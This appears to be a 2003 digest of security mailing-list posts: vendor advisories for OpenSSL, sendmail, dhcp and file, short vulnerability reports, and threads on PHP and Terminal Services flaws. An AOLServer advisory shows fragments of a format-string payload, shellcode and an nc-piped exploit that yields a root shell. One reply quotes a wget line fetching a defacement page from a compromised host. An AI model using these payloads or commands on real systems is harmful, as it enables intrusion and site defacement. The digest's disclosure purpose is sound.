Sent: Thursday, April 03, 2003 12:21 PM
To: [EMAIL PROTECTED]
Subject: NetBIOS could be used as network flood amplier

Overview: 

Commonly used services, such as NetBIOS Name Server can be used to flood 
hosts with UDP data, sending spoofed name requests.

RE: Netscape and Opera crash via java

[Richard H. Cotterell]

Why don't you upgrade your Java RE to v1.4.1.02 and see what happens?

Doesn't crash my Mozilla v1.3 build 20030312, but then I run AnalogX's 
Script Defender as an added optional protection.  

Ref: Zelena Endre <[EMAIL PROTECTED]>'s
 message dated 02 April 2003, 14:53 hours.

> 
>-BEGIN PGP SIGNED MESSAGE-
>Hash: SHA1
>
>Crashes 
>   Mozilla/5.0 (Windows; U; WinNT4.0; hu-HU; rv:1.3) Gecko/20030312 
>with 
>   NPJava11.dll/Java Plug-in 1.4.0_01 for Netscape Navigator (DLL Helper)
>   NPJava12.dll/Java Plug-in 1.4.0_01 for Netscape Navigator (DLL Helper)
>   NPJava13.dll/Java Plug-in 1.4.0_01 for Netscape Navigator (DLL Helper)
>   NPJava32.dll/Java Plug-in 1.4.0_01 for Netscape Navigator (DLL Helper)
>   NPJPI140_01.dll/Java Plug-in 1.4.0_01 for Netscape Navigator (DLL Helper)
>   NPOJI610.dll/Java Plug-in 1.4.0_01 for Netscape Navigator (DLL Helper)
>too.
>
>Endre
>
>> -Original Message-
>> From: Mischa Krilov [mailto:[EMAIL PROTECTED]
>> Sent: Friday, March 28, 2003 8:36 PM
>> To: [EMAIL PROTECTED]
>> Subject: Re: Netscape and Opera crash via java
>
>> Also crashes Mozilla 1.2.1 Mozilla/5.0 (Windows; U; Windows 
>> NT 5.0; en-US; 
>> rv:1.2.1) Gecko/20021130, using Java Plug-in 1.3.1_04 for Netscape 
>> Navigator (DLL Helper).
>> 
>
>-BEGIN PGP SIGNATURE-
>Version: PGP 8.0
>
>iQA/AwUBPordZF5b3gMNSD8KEQIuPgCeM3zFA194ZHRQuxuxSoToawNm47MAn3+J
>LURAsYm5wW61ELExmDPxnOzu
>=tRRF
>-END PGP SIGNATURE-
>
>


--
Richard H. Cotterell  

Reason often makes mistakes, but conscience never does.
  -Josh Billings, columnist and humorist (1818-1885)

AspJar guestbook script injection vulnerability.

[drG4njubas]

This advisory and other useful files 
can  be found at  www.blcktigerz.org

Subject:
AspJar guestbook script injection vulnerability.

Description:
Free Advanced ASP Guestbook Script

Vendor:
http://www.aspjar.com

Vulnerability:
guest.asp neglects filtering user input allowing 
for script injection to the guestbook via "URL" 
field. The injected script will be executed in 
anyones browser who visits the guestbook.


Best Regards,   drG4njubas
Black Tigerz Research Group
http://www.blacktigerz.org

SuSE Security Announcement: openssl (SuSE-SA:2003:024)

[Sebastian Krahmer]

-BEGIN PGP SIGNED MESSAGE-

__

SuSE Security Announcement

Package:openssl
Announcement-ID:SuSE-SA:2003:024
Date:   Fri Apr  4 14:00:00 MEST 2003
Affected products:  7.1, 7.2, 7.3, 8.0, 8.1
SuSE Linux Database Server
SuSE eMail Server III, 3.1
SuSE Firewall Adminhost VPN
SuSE Linux Admin-CD for Firewall
SuSE Firewall on CD 2 - VPN
SuSE Firewall on CD 2
SuSE Linux Live-CD for Firewall
SuSE Linux Connectivity Server
SuSE Linux Enterprise Server 7
SuSE Linux Enterprise Server 8
SuSE Linux Office Server
UnitedLinux 1.0
Vulnerability Type: remote private-key retrieval
Severity (1-10):5
SuSE default package:   Yes
Cross References:   http://www.openssl.org

Content of this advisory:
1) security vulnerability resolved: Remote timing attack and
   "Klima-Pokorny-Rosa" attack.
   problem description, discussion, solution and upgrade information
2) pending vulnerabilities, solutions, workarounds:
 - glibc
 - vnc
3) standard appendix (further information)

__

1)  problem description, brief discussion, solution, upgrade information

Researchers from the University of Stanford have discovered certain
weaknesses in OpenSSL's RSA decryption algorithm. It allows remote
attackers to compute the private RSA key of a server by observing
its timing behavior. This bug has been fixed by enabling "RSA blinding",
by default.
  Additionally an extension of the "Bleichenbacher attack" has been
developed by Czech researchers against OpenSSL. This weakness has
also been fixed.


Please download the update package for your distribution and verify its
integrity by the methods listed in section 3) of this announcement.
Then, install the package using the command "rpm -Fhv file.rpm" to apply
the update.
Our maintenance customers are being notified individually. The packages
are being offered to install from the maintenance web.

i386 Intel Platform:

SuSE-8.2:
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/openssl-0.9.6i-12.i586.rpm
  b418a2f73ab572f99f156335f3cd4ef4

ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/openssl-devel-0.9.6i-12.i586.rpm
  d0539c626612c5fcd9b1e81e529dc3af
patch rpm(s):

ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/openssl-0.9.6i-12.i586.patch.rpm
  3c8a296170b34838db459a5aefc3e104
patch rpm(s):

ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/openssl-devel-0.9.6i-12.i586.patch.rpm
  8978902dde74da69f72c4ff93a90f1eb
source rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/openssl-0.9.6i-12.src.rpm
  6dfaa0788bcdcb99939890d4bbd62826

SuSE-8.1:
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/openssl-0.9.6g-68.i586.rpm
  2ecce759f2806b5ab475877b0ccd1f6f

ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/openssl-devel-0.9.6g-68.i586.rpm
  aa79f7f72e503393f8fa9c34290ab497
patch rpm(s):

ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/openssl-0.9.6g-68.i586.patch.rpm
  68e33f6f3f90234a599e7473262e4924

ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/openssl-devel-0.9.6g-68.i586.patch.rpm
  07ee91826db414421ad2a5a1abe27191
source rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/openssl-0.9.6g-68.src.rpm
  177ff751ecf0e5e191b36e9df28479ee

SuSE-8.0:
ftp://ftp.suse.com/pub/suse/i386/update/8.0/sec1/openssl-0.9.6c-85.i386.rpm
  fabc6f1768cb113555690dbc26b26779
ftp://ftp.suse.com/pub/suse/i386/update/8.0/d3/openssl-devel-0.9.6c-85.i386.rpm
  788751185ecf5c3538378de8f583c900
patch rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/8.0/sec1/openssl-0.9.6c-85.i386.patch.rpm
  dc19ef5b07fcd32d060e8c6c0f11d3e1

ftp://ftp.suse.com/pub/suse/i386/update/8.0/d3/openssl-devel-0.9.6c-85.i386.patch.rpm
  0152c98bab2617456b7250431f37c41e
source rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/openssl-0.9.6c-85.src.rpm
  66080ca41e143339ef95d7dd0c4c19fe

SuSE-7.3:
ftp://ftp.suse.com/pub/suse/i386/update/7.3/sec1/openssl-0.9.6b-156.i386.rpm
  7da5bae86380a034312d69e745bb1bb5
ftp://ftp.suse.com/pub/suse/i386/update/7.3/d2/openssl-devel-0.9.6b-156.i386.rpm
  d54d7948b2a5cce732971890f51520a3

Re: Vulnerability (critical): Digital signature for Adobe Acrobat/Reader plug-in can be forged

[Vladimir Katalov]

In-Reply-To: <[EMAIL PROTECTED]>

Dan Harkless <[EMAIL PROTECTED]> writes:
>For those of us not familiar with Acrobat plugins, is there some facility
>for the program retrieving/installing plugins automatically, or, to 
exploit
>this would you need to entice a user to manually place your .api file in
>their "plug_ins" directory (or run an installer program that would do so, 
in
>which case you could run arbitrary code anyway in the installer)?

In any case, user should install plugin (i.e. put it into an appropriate
folder) manually. However, there are several ways to force user to so
so ;) For example, an author can make a plug-in which will look perfectly
valid -- i.e. doing something useful. Or that could be a security plug-in
required to read e-books in PDF format (offered for free). Malicious code,
however, can be activated at particular date, or when opening particular
PDF file etc.

But the main problem of this vulnerability, actually, falls into a
different category. It completely compromises the whole Acrobat security
model. For example, somebody can write a plug-in which allowing to save
an unprotected copy of *any* DRM-enabled PDF document (doesn't matter
what kind of security is being used -- FileOpen, WebBuy etc),
circumventing the protection completely. Such plug-in would never be
signed by Adobe (to be loaded into Acrobat, especially in "certified"
mode), but using the vulnerabilities we have described, fake signature
can be made -- so it will look like signed by Adobe.

-- 
Sincerely yours,
  Vladimir

Vladimir Katalov
Managing Director
ElcomSoft Co.Ltd.
Member of Association of Shareware Professionals (ASP)
Member of Russian Cryptology Association
mailto:[EMAIL PROTECTED]
http://www.elcomsoft.com/adc.html (Advanced Disk Catalog)
http://www.elcomsoft.com/art.html (Advanced Registry Tracer)
http://www.elcomsoft.com/prs.html (Password Recovery Software)

Re: passlogd sniffer remote buffer overflow root exploit.

[Dragos Ruiu]

On April 3, 2003 08:24 am, dong-h0un U wrote:
> Hello.
>
> Exploit confirmed possible truth in OpenBSD.
> But, I did not exploit.
> Also, did not test in RedHat 8.0.
...
> /*
> **
> ** [*] Title: Remote Multiple Buffer Overflow vulnerability in passlogd
> sniffer. ** [+] Exploit code: 0x82-Remote.passlogd_sniff.xpl.c
...

I'm a little unclear on the meaning of "truth" here, but
ProPolice will stop this exploit from working on OpenBSD 3.3 or
-current/cvs.

etoh++ :-)

cheers,
--dr

-- 
pgpkey http://dragos.com/ kyxpgp   -- http://cansecwest.com

Re: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function

[Jedi/Sector One]

On Thu, Apr 03, 2003 at 08:39:03AM +0200, Goran Krajnovic wrote:
> This is a bit pointless, IMHO. 99% of PHP installations run the PHP code with
> the user-id of the web server process (usually a low privilege user like
> 'nobody' or 'apache').
[snip snip]
> If an attacker has the opportunity to execude PHP code of his choice on a
> target server [1], he does not need to exploit a buffer overflow in PHP just to
> get the privileges of the web server user

  You missed an important point.
  
  Hosting services offering a PHP interpreter to untrusted people rely on
PHP features to restrict their field of action.

  Specifically, the open_basedir and safe_mode features are a must to avoid
people going outside their home directory with PHP scripts.

  If arbitrary code can be run through a PHP vulnerability, these
restrictions disappear. People can walk through files that are supposed to
be inaccessible.

  Given that many people just chmod -R 777 their directories when their
script doesn't work and leave plaintext SQL passwords everywhere, this is
definitely ann issue.

  Also don't forget that all PHP extensions aren't always enabled. For
instance, the socket extension is typically disabled by most hosting service
providers for obvious reasons.

  Once and again, a vulnerability in the PHP interpreter can bypass this
restriction and gain access to other machines of the LAN, run DOS agents, etc.

  Of course, one shouldn't rely 100% on PHP userland security barriers, this
is where tools like NetBSD/OpenBSD's systrace can really add another
efficient layer of security.

-- 
 __  /*-  Frank DENIS (Jedi/Sector One) <[EMAIL PROTECTED]> -*\  __
 \ '/http://www.PureFTPd.Org/";> Secure FTP Server \' /
  \/  http://www.Jedi.Claranet.Fr/";> Misc. free software   \/

Re: @(#)Mordred Labs advisory - Integer overflow in PHPstr_repeat() function

[Javi Lavandeira]

Hi,

On Thu, 3 Apr 2003 08:39:03 +0200
Goran Krajnovic <[EMAIL PROTECTED]> wrote:

> [...]
> If an attacker has the opportunity to execude PHP code of his choice on a
> target server [1], he does not need to exploit a buffer overflow in PHP just to
> get the privileges of the web server user - he already runs code with the
> privileges of that user. And having the ability to run PHP code gives him just
> about the same level of power as getting a non-root shell on the box.
> [...]
> [1] Usually by exploiting some of the poor programming practices in some PHP
> applications, misconfigurations, or bugs. See
> http://www.securityfocus.com/bid/3889 for example. In a typical attack, this is
> used to execute code, and the code is usually system('wget
> http://another.exploited.host/defaced-index.php'); system('cp defaced-index.php
> index.php') or similar.

You seem to be forgetting about PHP's safe_mode, disable_functions and open_basedir 
directives. If configured properly, a user in a server with PHP support should not be 
able to execute commands, read other users' files or do anything outside his 
directory. Even though PHP is running with the privileges of the web server, the user 
doesn't have these privileges (again, if properly configured). Many ISPs configure PHP 
in this way.

*IF* the overflow really exists *AND* is exploitable, I would be very worried, because 
*THEN* users could gain the privileges of the web server and do things they shouldn't 
be doing.

Regards,

-- 
Javier Lavandeira
International Systems Research
http://www.isr.co.jp

Re: Microsoft Terminal Services vulnerable to MITM-attacks.

[Henrik Storner]

In <[EMAIL PROTECTED]> Devin Heitmueller
<[EMAIL PROTECTED]> writes:

>On Wed, 2003-04-02 at 19:09, Larry Seltzer wrote:
>> >>RDP is vulnerable to Man In The Middle attacks
>> 
>> Do you know if ICA (Citrix products) is also vulnerable?
>
>The ICA Protocol is also vulnerable.  They use Diffe-Hellman for key
>agreement.  But there is no PKI in the protocol to verify the identity
>of the server.

AFAIK, Citrix' recommendation if you want to guard against this
type of attack is to use their Citrix Secure Gateway software,
which tunnels the ICA protocol data inside an SSL connection.
This uses the normal SSL certificate handshake to verify the
identity of the server.


Henrik Storner

An Alternate View of Recently Reported PHP Vulnerabilities

[Steven M. Christey]

Recently, there has been a bit of commentary on certain
vulnerabilities that have been reported for the PHP language.  Whether
these issues should be "blamed" on PHP itself or not, they may be of
some concern to PHP *application* developers and auditors.


>This is a bit pointless, IMHO.
>
>[snip]
>
>If an attacker has the opportunity to execude PHP code of his choice
>on a target server [1], he does not need to exploit a buffer overflow
>in PHP just to get the privileges of the web server user

I don't profess to be an expert at PHP, so I may be misunderstanding
things.  But it seems like Sir Mordred is onto something, although
maybe not buffer overflows.

What if the code looked something like this?

  

You now have a remote attacker being able to use a very large $num
value to control the size of a string that gets created, without
inserting any PHP code.  Maybe this could be used to consume a large
amount of memory for the PHP process, more than the developer
intended.  Maybe it could then be used to exploit underlying overflows
elsewhere.

Whether there's a vulnerability in the PHP language itself or not,
applications should be careful to avoid these sorts of pitfalls.

How many people who audit PHP applications verify that the second
argument to str_repeat() is valid?

How many otherwise innocent functions in PHP can have unexpected
results if an attacker can control one of the parameters?

For example, the money_format() function takes a format string and a
number as an argument:

money_format ( string format, float number)

What if an external attacker could control the format strings to these
functions?

I noticed that PHP also has sprintf() and printf() calls, but I
haven't seen any PHP format string vulnerabilities being publicly
reported for PHP *applications*.  Is that because they don't exist?
They aren't mentioned as a concern for PHP in the excellent "Study in
Scarlet" or "Secure Programming for Linux and Unix HOWTO" papers.

Most publicly reported vulnerabilities in PHP applications seem to be
focused on require/include, global variable, SQL injection, and XSS
problems.  Maybe that's because remote execution and bypassing
authentication is a bigger payoff.

As I said, I'm not familiar with PHP.  I welcome any clarifications or
corrections.  But at the very least, it seems that Sir Mordred found 3
new PHP functions that pose some non-zero risk for PHP applications,
and maybe there are more out there.

And maybe entire classes of vulnerabilities that are assumed to be
specific to a particular language, aren't.

- Steve

buffalo AirStation G54 - (WBR-G54 ) DoS

[Pavel shpac]

Hellow!
 
I found bad bug/owerflow for buffalo g54 airstions:
 
here my simple tests:

schem of tests:
I used 2 broadband routers Airstation WBR-g54 (first named: g54-01, 
second - g54-02)
both broadband routers set to pear-to-pear connection mode (not point-
multipoint)

[atacker PC]--[g54-01]-.-.-per-to-pear-.-.-[g54-02]--[victim PC]
 
when I starts simple ping-flood from atacker PC (simple ping -f  in linux), the g54-02 connected to the victim PC by net-cable after 
some seconds is going down and breakes connection :-(
 
in firmware ver. 1.10 g54-02 is going to reboot and then comes back online
after I install firware 1.11 (and 1.13 too) - g54-02 still die after ping-
flood, but not reboots and comes online automaticaly :(
 
 
With best regards, Pavel

NetBSD Security Advisory 2003-009: sendmail buffer overrun in prescan() address parser

[NetBSD Security Officer]

-BEGIN PGP SIGNED MESSAGE-


 NetBSD Security Advisory 2003-009
 =

Topic:  sendmail buffer overrun in prescan() address parser

Version:NetBSD-current: source prior to Mar 30, 2003
NetBSD 1.6: affected
NetBSD-1.5.3:   affected
NetBSD-1.5.2:   affected
NetBSD-1.5.1:   affected
NetBSD-1.5: affected
pkgsrc: prior to sendmail-8.12.9

Severity:   Remote root compromise

Fixed:  NetBSD-current: March 30, 2003
NetBSD-1.6 branch:  March 30, 2003 (1.6.1 will include the fix)
NetBSD-1.5 branch:  April 1, 2003 
pkgsrc: sendmail-8.12.9 corrects this issue


Abstract


- From the CERT advisory:

There is a remotely exploitable vulnerability in sendmail that
could allow an attacker to gain control of a vulnerable sendmail
server. Address parsing code in sendmail does not adequately check
the length of email addresses. An email message with a specially
crafted address could trigger a stack overflow. This vulnerability
was discovered by Michal Zalewski.

This vulnerability is different than the one described in CA-2003-07.

It is a different vulnerability than NetBSD SA2003-002.


Technical Details
=

http://www.cert.org/advisories/CA-2003-12.html


Solutions and Workarounds
=


We advise sites running sendmail to upgrade as soon as possible.  If upgrading
is impossible at this time, we recommend you turn off the sendmail service.

To determine if sendmail is running on your system, issue the command:

# /etc/rc.d/sendmail status

To stop currently running sendmail processes, issue the command:

# /etc/rc.d/sendmail stop

To ensure sendmail does not start after the next reboot, issue the command:

# echo "sendmail=NO" >>/etc/rc.conf.d/sendmail

To allow sendmail to start once upgraded, remove the sendmail=NO line
from the end of /etc/rc.conf.d/sendmail.


The following instructions describe how to upgrade your sendmail
binaries by updating your source tree and rebuilding and
installing a new version of sendmail.

* NetBSD-current:

Systems running NetBSD-current dated from before 2003-03-30
should be upgraded to NetBSD-current dated 2003-03-31 or later.

The following directories need to be updated from the
netbsd-current CVS branch (aka HEAD):
gnu/dist/sendmail/sendmail

To update from CVS, re-build, and re-install sendmail:
# cd src
# cvs update -d -P gnu/dist/sendmail/sendmail
# cd gnu/usr.sbin/sendmail

# make USETOOLS=no cleandir dependall
# make USETOOLS=no install


* NetBSD 1.6:

The binary distribution of NetBSD 1.6 is vulnerable.   

Systems running NetBSD 1.6 sources dated from before
2003-03-30 should be upgraded from NetBSD 1.6 sources dated
2003-03-31 or later.

NetBSD 1.6.1 will include the fix.

The following directories need to be updated from the
netbsd-1-6 CVS branch:
gnu/dist/sendmail/sendmail

To update from CVS, re-build, and re-install sendmail:

# cd src
# cvs update -d -P -r netbsd-1-6 gnu/dist/sendmail/sendmail
# cd gnu/usr.sbin/sendmail

# make USETOOLS=no cleandir dependall
# make USETOOLS=no install




* NetBSD 1.5, 1.5.1, 1.5.2, 1.5.3:

The binary distribution of NetBSD 1.5.3 is vulnerable.   

Systems running NetBSD 1.5, 1.5.1, 1.5.2, or 1.5.3 sources dated
from before 2003-04-01 should be upgraded from NetBSD 1.5.*
sources dated 2003-04-02 or later.

The following directories need to be updated from the
netbsd-1-5 CVS branch:
gnu/dist/sendmail/sendmail

To update from CVS, re-build, and re-install sendmail:

# cd src
# cvs update -d -P -r netbsd-1-5 gnu/dist/sendmail/sendmail
# cd gnu/usr.sbin/sendmail

# make cleandir dependall
# make install



Thanks To
=


Michal Zalewski and CERT for notification.

Andrew Brown for patches.


Revision History


2003-04-04  Initial release


More Information


Advisories may be updated as new information becomes available.
The most recent version of this advisory (PGP signed) can be found at 
  ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2003-009.txt.asc

Information about NetBSD and NetBSD security can be found at
http://www.NetBSD.ORG/ and http://www.NetBSD.ORG/Security/.


Copyright 2003, The NetBSD Foundation, Inc.  All Rights Reserved.
Redistribution permit

[CLA-2003:616] Conectiva Security Announcement - dhcp

[Conectiva Updates]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- --
CONECTIVA LINUX SECURITY ANNOUNCEMENT 
- --

PACKAGE   : dhcp
SUMMARY   : Denial of service vulnerability
DATE  : 2003-04-04 18:34:00
ID: CLA-2003:616
RELEVANT
RELEASES  : 8

- -

DESCRIPTION
 The package "dhcp" provides a Dynamic Host Configuration Protocol[1]
 server developed by ISC (ISC DHCPD).
 
 Florian Lohoff discovered[2] a vulnerability[3,4] in the way dhcrelay
 (part of the dhcp package) forwards malicious BOOTP packets it
 receives to the dhcp servers it contacts. An attacker could exploit
 this vulnerability to generate a "storm" of BOOTP packets, causing a
 denial of service condition or a misbehavior by the part of the dhcp
 server.
 
 The Common Vulnerabilities and Exposures project (cve.mitre.org) is
 tracking[5] this issue with the name CAN-2003-0039.
 
 The packages provided with this announcement fix these
 vulnerabilities with a patch, keeping the original version. Please
 note that Conectiva Linux versions prior to 8 do not ship dhcp 3.0
 and therefore are not vulnerable to this problem.


SOLUTION
 All dhcp users should upgrade immediately. After upgrading the
 packages, please restart the dhcpd service if it is already running.
 This can be done with the command below (as the root user):
 
 # service dhcpd restart 
 
 
 REFERENCES:
 1.http://www.ietf.org/rfc/rfc2131.txt
 2.http://online.securityfocus.com/archive/1/307451
 3.http://online.securityfocus.com/bid/6628
 4.http://www.kb.cert.org/vuls/id/149953
 5.http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0039


UPDATED PACKAGES
ftp://atualizacoes.conectiva.com.br/8/RPMS/dhcp-3.0-3U80_3cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/dhcp-doc-3.0-3U80_3cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/SRPMS/dhcp-3.0-3U80_3cl.src.rpm


ADDITIONAL INSTRUCTIONS
 The apt tool can be used to perform RPM packages upgrades:

 - run: apt-get update
 - after that, execute: apt-get upgrade

 Detailed instructions reagarding the use of apt and upgrade examples 
 can be found at http://distro.conectiva.com.br/atualizacoes/#apt?idioma=en

- -
All packages are signed with Conectiva's GPG key. The key and instructions
on how to import it can be found at 
http://distro.conectiva.com.br/seguranca/chave/?idioma=en
Instructions on how to check the signatures of the RPM packages can be
found at http://distro.conectiva.com.br/seguranca/politica/?idioma=en

- -
All our advisories and generic update instructions can be viewed at
http://distro.conectiva.com.br/atualizacoes/?idioma=en

- -
Copyright 2003 (c) Conectiva Inc.
http://www.conectiva.com

- -
subscribe: [EMAIL PROTECTED]
unsubscribe: [EMAIL PROTECTED]
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE+jfq342jd0JmAcZARAvN5AJ9vv7jcbf8tm2D8ff8E5MRzsBXn+QCfbE73
89tYWbDrgrNG5f6engkx/Ww=
=Bo/V
-END PGP SIGNATURE-

[CLA-2003:617] Conectiva Security Announcement - file

[Conectiva Updates]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- --
CONECTIVA LINUX SECURITY ANNOUNCEMENT 
- --

PACKAGE   : file
SUMMARY   : Buffer overflow vulnerability
DATE  : 2003-04-04 18:58:00
ID: CLA-2003:617
RELEVANT
RELEASES  : 6.0, 7.0, 8

- -

DESCRIPTION
 The file command is used to identify a particular file according to
 the type of data contained in it.
 
 iDefense has found a buffer overflow vulnerability[1] in the file
 command. This vulnerability can be triggered by the use of specially
 crafted files.
 
 Since file is a very common utility used by many subsystems (like the
 printing subsystem), attackers can exploit this vulnerability to
 remotely or locally compromise system security.
 
 The Common Vulnerabilities and Exposures project (cve.mitre.org) has
 assigned the name CAN-2003-0102 to this issue[2].


SOLUTION
 All users should upgrade.
 
 
 REFERENCES:
 1.http://www.idefense.com/advisory/03.04.03.txt
 2.http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0102


UPDATED PACKAGES
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/file-3.41-1U60_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/file-3.41-1U60_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/file-3.41-1U70_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/SRPMS/file-3.41-1U70_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/8/RPMS/file-3.41-1U80_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/8/SRPMS/file-3.41-1U80_1cl.src.rpm


ADDITIONAL INSTRUCTIONS
 The apt tool can be used to perform RPM packages upgrades:

 - run: apt-get update
 - after that, execute: apt-get upgrade

 Detailed instructions reagarding the use of apt and upgrade examples 
 can be found at http://distro.conectiva.com.br/atualizacoes/#apt?idioma=en

- -
All packages are signed with Conectiva's GPG key. The key and instructions
on how to import it can be found at 
http://distro.conectiva.com.br/seguranca/chave/?idioma=en
Instructions on how to check the signatures of the RPM packages can be
found at http://distro.conectiva.com.br/seguranca/politica/?idioma=en

- -
All our advisories and generic update instructions can be viewed at
http://distro.conectiva.com.br/atualizacoes/?idioma=en

- -
Copyright 2003 (c) Conectiva Inc.
http://www.conectiva.com

- -
subscribe: [EMAIL PROTECTED]
unsubscribe: [EMAIL PROTECTED]
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE+jgAK42jd0JmAcZARAmHrAKDzCmnX/fFKh1DRFfzhcbm6c+14lQCg3pWz
AViR2KqKICEw7rQ1/nqab+k=
=toXr
-END PGP SIGNATURE-

SRT2003-04-04-1106 - AOLServer Proxy Daemon API unformatted syslog()call

[KF]

Secure Network Operations, Inc.   http://www.secnetops.com
Strategic Reconnaissance Team   [EMAIL PROTECTED]
Team Lead Contact [EMAIL PROTECTED]


Our Mission:

Secure Network Operations offers expertise in Networking, Intrusion 
Detection Systems (IDS), Software Security Validation, and 
Corporate/Private Network Security. Our mission is to facilitate a 
secure and reliable Internet and inter-enterprise communications 
infrastructure through the products and services we offer. 


Quick Summary:

Advisory Number : SRT2003-04-04-1106
Product : AOLServer Proxy Daemon API
Version : 3.x - 4.0-beta4
Vendor  : aolserver.com 
Class   : Remote
Criticality : Medium 
Operating System(s) : *nix and win32


High Level Explanation

High Level Description  : nspd/libnspd.a contains exploitable syslog() calls
What to do  : AOLserver staff has fixed this issue on 3/19/2002
The fix is listed in the original advisory that was provided by Intexxia 
http://www.securitytracker.com/alerts/2002/Apr/1004080.html


Technical Details

Proof Of Concept Status : Secure Network Operations does have PoC code
Low Level Description   :

In an effort to discover a new vulnerability in the current codebase of 
AOLServer we stumbled across a previously discovered hole. Our path of 
research was 100% independant of the work INTEXXIA provided in April of 
2002. After fully documenting and exploiting this issue we had found that
INTEXXIA already contacted AOLServer staff and a fix was already available. 

Our testing against aolserver-4.0-beta1-src.tar.gz in early January. We 
found that nspd/log.c contained an unformatted syslog() call. 

gentoo nspd # pwd
/root/AOL/aolserver-4.0-beta1-src/nspd
gentoo nspd # grep -rn syslog\( log.c | grep -v \%
211:  syslog(priority, msgbuf);

At the time we were unaware this issue had been previously addressed. We 
continued to verify if this condition was exploitable by first creating
our own program that linked against libnspd.a. The conclusion of our 
testing was that we felt production systems could be impacted by this 
issue. In order to verify our theory we searched for public applications 
that link against libnspd.a. A few quick searches on Google turned up
several possible "External Proxy Daemon's" that were potentially up for 
attack. Among them were nssybpd (Sybase Proxy Daemon), nsibasepd
(Interbase Proxy Daemon), iupsd (Informix Proxy Daemon) as well as 
several others.  

If you use the RemoteHost method in configuring your Proxy Daemon it will 
listen on a port and be spawned via inetd or xinetd. Our testing was done 
with both nssybpd and nsibasepd listening via xinetd. Both were exploitable
to the extent of providing a remote shell. 

If your machine is attacked by this method you will see syslog entires that
are similar to the below output. 

Feb  9 22:07:58 [EMAIL PROTECTED]
0...
0...
0...
05406984831ÛØ°Íë1Û1É÷á[°
 SRSáÍ°Íèåÿÿÿ/bin/sh
Feb  9 22:07:58 [EMAIL PROTECTED] nssybpd.bin[3278]: Exiting.

Debugger output :

Start a debugger against the proxy daemon on the machine to be attacked. 

vegeta # strace -vifp `ps -ef | grep nssyb | grep -v grep | awk '{print $2}'`
[40322ac4] read(0, "...F\'\5\10D\'\5\10%.1973d%19$hn%.8678d%"..., 32768) = 182
...
[40330162] send(3, "<27>Feb  9 22:07:58 nssybpd.bin["..., 10915, 0) = 10915
...
[400f4ac4] read(0, "i", 1)  = 1
[400f4ac4] read(0, "d", 1)  = 1
[400f4ac4] read(0, "\n", 1) = 1
...
[400d4437] fork()   = 3286

On the box I was attacking from I saw the following.

[EMAIL PROTECTED] tmp $ id
uid=1000(elguapo) gid=100(users) groups=100(users)
[EMAIL PROTECTED] tmp $ (./nssybpd-ex.pl;cat ) | nc vegeta 8199
id
uid=0(root) gid=0(root)
hostname
vegeta

Below is the information found in gdb after a crash.

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x401eabb6 in vfprintf () from /lib/libc.so.6
(gdb) bt
#0  0x401eabb6 in vfprintf () from /lib/libc.so.6
#1  0x402767b2 in vsyslog () from /lib/libc.so.6
#2  0x4027661d in syslog () from /lib/libc.so.6
#3  0x0804d0d3 in Ns_PdLog (errtype=Error, format=0x8050c80 "GetMsg: Protocol Error, no
newline terminator for arglen of command: %s")
at /home/gnachman/cvswork/aolse

Re: An Alternate View of Recently Reported PHP Vulnerabilities

[Sascha Schumann]

Hello,

let me add a number of points from my perspective as member
of the PHP Group.

> What if the code looked something like this?
>
>$num = $_REQUEST['num'];
> str_repeat("A", $num);
>?>

This is a violation of the trust model in which the
application absolutely must not trust incoming data from the
client.  Incoming data must be validated and proper bounds
checking needs to be applied at the application level.

It is not a specific issue of PHP; it is an issue all
applications have to address which exist and operate in a
dangerous and hostile world like the Internet.

We all know, of course, that checks are often incomplete or
even don't exist at all.  That is why PHP contains a built-in
memory manager which enforces strict limits on resource
consumption.  This significantly reduces the impact of
incomplete input validation.

> How many otherwise innocent functions in PHP can have unexpected
> results if an attacker can control one of the parameters?

An attacker should not directly control parameters in a
correctly written application.  There should always be a
validation layer between user input and application logic.

> As I said, I'm not familiar with PHP.  I welcome any clarifications or
> corrections.  But at the very least, it seems that Sir Mordred found 3
> new PHP functions that pose some non-zero risk for PHP applications,
> and maybe there are more out there.

The PHP Group has initiated a semi-automated code coverage
test system which verifies the correct operation of PHP
functions when presented with uncommon input data.  The
system has been extremely effective at uncovering issues and
aiding developers in addressing these.

The results of this measure will be available to our users as
part of the next release, PHP 4.3.2.

- Sascha

LocalSystem account in Windows 2000/XP

[Pavel]

Hello everybody,

Here is a couple of my observations on Windows 2000/XP LocalSystem account.

Originally (NT4) the paradigm of this account was declared by MS as the 
following:

1. This account doesn't require athentication on the local computer.
2. It has unlimited rights on the local computer.
3. No network resources can be accessed using this account.

Now, that's what we see in Windows 2000:

